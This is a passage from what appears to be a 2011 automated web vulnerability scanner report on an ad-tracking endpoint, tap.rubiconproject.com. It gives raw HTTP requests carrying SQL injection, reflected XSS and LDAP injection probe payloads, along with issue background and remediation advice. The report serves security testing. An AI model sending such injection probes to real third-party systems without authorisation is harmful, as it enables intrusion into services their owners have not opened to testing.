Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; put_1185=3011330574290390485; cd=false; dq=39|5|34|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%264970%3D1

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 02:07:27 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 02:07:27 GMT; Path=/
Set-Cookie: dq=40|5|35|0; Expires=Mon, 13-Feb-2012 02:07:27 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=15'%20and%201%3d2--%20&k=annual+reports:112,infoquotes+annual:80,stock:65,next+time:64,symbol+list:64,symbol+lookup:64,mutual+funds:64,pre+market:64,annual:48,market:46,nasdaq:46,quotes:44,symbol:43,free+stock:40,nasdaq+amex:40,stock+quotes:40,quotes+nasdaq:40,portfolio+tracking:40,investment+information:40,annual+report:40,amex+nyse:40,portfolio+tracker:32,market+activity:32,extended+trading:32,nasdaq+omx:32,personal+finance:32,company+list:24,hours+quotes:24,site+map:24,precision+ir:24,global+indices:24,market+quotes:24,portfolio:24,quote:22,stock+quote:20,news:20,infoquotes:20,reports:20,software:20,mutual+fund:20,&t=InfoQuotes+-+Annual+Reports HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/asp/quotesannualreportlink.asp?symbol=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5&selected=1F3AB%22%3E%3CSCRIPT%3EALERT(1)%3C/SCRIPT%3EE57FDED90B5
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; put_1185=3011330574290390485; cd=false; dq=39|5|34|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%264970%3D1

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 02:07:27 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


2. LDAP injection  previous  next
There are 3 instances of this issue:

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.


2.1. http://tap.rubiconproject.com/oz/sensor [put_1185 cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_1185 cookie appears to be vulnerable to LDAP injection attacks.

The payloads b7ed3e8c6e869540)(sn=* and b7ed3e8c6e869540)!(sn=* were each submitted in the put_1185 cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=18&k=dow+jones:368,business+news:328,jones+business:328,dow+jone:164,business+new:164,jones+busines:164,02+11:160,11+2011:160,news:146,news+headlines:144,market+headlines:144,market:120,market+news:104,market+headline:100,headlines:96,jones:92,business:90,news+market:80,headlines+nasdaq:80,12+2011:80,02+12:80,new:73,news+headline:72,2011+6:72,2011:62,headline:58,market+new:52,nasdaq:48,pre+market:48,2011+5:48,jone:46,busines:45,minute+stories:40,jones+market:40,market+today:40,headlines+news:40,stories+hitting:40,headline+source:40,world+headlines:40,source+featuring:40,&rd=burp&t=Dow+Jones+Business+News+&+Market+Headlines+-+NASDAQ.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/aspx/market-headlines.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; put_1185=b7ed3e8c6e869540)(sn=*; cd=false; dq=34|5|29|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%264970%3D1

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:44:16 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 01:44:16 GMT; Path=/
Set-Cookie: dq=35|5|30|0; Expires=Mon, 13-Feb-2012 01:44:16 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor?p=rubicon&pc=8000/12865&cd=false&xt=18&k=dow+jones:368,business+news:328,jones+business:328,dow+jone:164,business+new:164,jones+busines:164,02+11:160,11+2011:160,news:146,news+headlines:144,market+headlines:144,market:120,market+news:104,market+headline:100,headlines:96,jones:92,business:90,news+market:80,headlines+nasdaq:80,12+2011:80,02+12:80,new:73,news+headline:72,2011+6:72,2011:62,headline:58,market+new:52,nasdaq:48,pre+market:48,2011+5:48,jone:46,busines:45,minute+stories:40,jones+market:40,market+today:40,headlines+news:40,stories+hitting:40,headline+source:40,world+headlines:40,source+featuring:40,&rd=burp&t=Dow+Jones+Business+News+&+Market+Headlines+-+NASDAQ.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.nasdaq.com/aspx/market-headlines.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=6ch47d7o8wtv; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; put_1185=b7ed3e8c6e869540)!(sn=*; cd=false; dq=34|5|29|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1%266356%3D1%264970%3D1

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:44:16 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


2.2. http://tap.rubiconproject.com/oz/sensor [put_1197 cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_1197 cookie appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the put_1197 cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; SERVERID=; lm="7 Feb 2011 22:48:47 GMT"; put_2132=D8DB51BF08484217F5D14AB47F4002AD; xdp_ti="7 Feb 2011 22:48:47 GMT"; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_2100=usr3fd748acf5bcab14; put_1185=3011330574290390485; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; khaos=GIPAEQ2D-C-IOYY; au=GIP9HWY4-MADS-10.208.38.239; put_1197=*)(sn=*; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%266356%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; put_2081=CA-00000000456885722; put_1986=4760492999213801733; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; dq=34|5|29|0; put_1994=6ch47d7o8wtv; cd=false;

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:37:13 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 01:37:13 GMT; Path=/
Set-Cookie: dq=35|5|30|0; Expires=Mon, 13-Feb-2012 01:37:13 GMT; Path=/
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 01:37:13 GMT; Path=/
Set-Cookie: lm="13 Feb 2011 01:37:13 GMT"; Version=1; Domain=.rubiconproject.com; Max-Age=31536000; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor HTTP/1.1
Host: tap.rubiconproject.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; SERVERID=; lm="7 Feb 2011 22:48:47 GMT"; put_2132=D8DB51BF08484217F5D14AB47F4002AD; xdp_ti="7 Feb 2011 22:48:47 GMT"; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_2100=usr3fd748acf5bcab14; put_1185=3011330574290390485; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; khaos=GIPAEQ2D-C-IOYY; au=GIP9HWY4-MADS-10.208.38.239; put_1197=*)!(sn=*; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%266356%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; put_2081=CA-00000000456885722; put_1986=4760492999213801733; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; dq=34|5|29|0; put_1994=6ch47d7o8wtv; cd=false;

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:37:13 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
Cache-control: private
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


2.3. http://tap.rubiconproject.com/oz/sensor [put_1994 cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://tap.rubiconproject.com
Path:   /oz/sensor

Issue detail

The put_1994 cookie appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the put_1994 cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /oz/sensor?p=rubicon&pc=6005/12414&cd=false&xt=5&k=&rd=drudgereport.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://intermrkts.vo.llnwd.net/o35/u/ExtraCode/DrudgeReport/intermarkets.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=*)(sn=*; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; cd=false; dq=33|5|28|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%266356%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1; put_1185=3011330574290390485

Response 1

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:12:38 GMT
Server: TRP Apache-Coyote/1.1
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache
Expires: Tue, 01 Jan 2008 00:12:30 GMT
Cache-control: private
Set-Cookie: cd=false; Domain=.rubiconproject.com; Expires=Mon, 13-Feb-2012 01:12:38 GMT; Path=/
Set-Cookie: dq=34|5|29|0; Expires=Mon, 13-Feb-2012 01:12:38 GMT; Path=/
Set-Cookie: SERVERID=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8

Request 2

GET /oz/sensor?p=rubicon&pc=6005/12414&cd=false&xt=5&k=&rd=drudgereport.com HTTP/1.1
Host: tap.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://intermrkts.vo.llnwd.net/o35/u/ExtraCode/DrudgeReport/intermarkets.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_2025=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; put_1430=e6f6dead-6db2-4b47-a015-f587315583eb; put_2081=CA-00000000456885722; put_2101=82d726c3-44ee-407c-85c4-39a0b0fc11ef; put_1986=4760492999213801733; put_2132=D8DB51BF08484217F5D14AB47F4002AD; put_2100=usr3fd748acf5bcab14; put_1197=3297869551067506954; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; put_1994=*)!(sn=*; put_1512=4d3702bc-839e-0690-5370-3c19a9561295; xdp_ti="7 Feb 2011 22:48:47 GMT"; lm="7 Feb 2011 22:48:47 GMT"; csi15=667425.js^1^1297190267^1297190267&329267.js^1^1297190250^1297190250&3178297.js^1^1297190221^1297190221&3178300.js^1^1297186286^1297186286&3187866.js^2^1297186264^1297186285&3173809.js^1^1297186265^1297186265&3187311.js^2^1297186228^1297186247&3144082.js^1^1297186229^1297186229&3174520.js^1^1297185849^1297185849; ruid=154d290e46adc1d6f373dd09^14^1297195255^2915161843; csi9=3187865.js^2^1297185887^1297195331&329266.js^1^1297195268^1297195268&3138806.js^6^1297185888^1297195266&3186750.js^1^1297195259^1297195259&3191877.js^1^1297190198^1297190198&3167236.js^2^1297185969^1297190114&3144081.js^1^1297185974^1297185974&667427.js^1^1297185889^1297185889; csi2=3185375.js^3^1297190198^1297195331&3187864.js^6^1297186263^1297195302&329265.js^1^1297195268^1297195268&3140640.js^1^1297195255^1297195255&2415222.js^2^1297186265^1297186287&3162307.js^2^1297186245^1297186249&3187064.js^1^1297186232^1297186232&3138805.js^3^1297185842^1297186231&3144080.js^1^1297186227^1297186227&667421.js^1^1297186143^1297186143&3174518.js^1^1297185827^1297185827; khaos=GIPAEQ2D-C-IOYY; cd=false; dq=33|5|28|0; rpb=2399%3D1%265574%3D1%264210%3D1%265328%3D1%264554%3D1%265671%3D1%265852%3D1%266286%3D1%266073%3D1%264214%3D1%262119%3D1%265722%3D1%264939%3D1%264940%3D1%264222%3D1%264944%3D1%266356%3D1%262112%3D1%262497%3D1%262202%3D1%263512%3D1%262197%3D1%266457%3D1%266276%3D1%264212%3D1; put_1185=3011330574290390485

Response 2

HTTP/1.1 204 No Content
Date: Sun, 13 Feb 2011 01:12:38 GMT
Server: TRP Apache-Coyote/1.1
Cache-Control: no-store, no-cache, must-revalidate
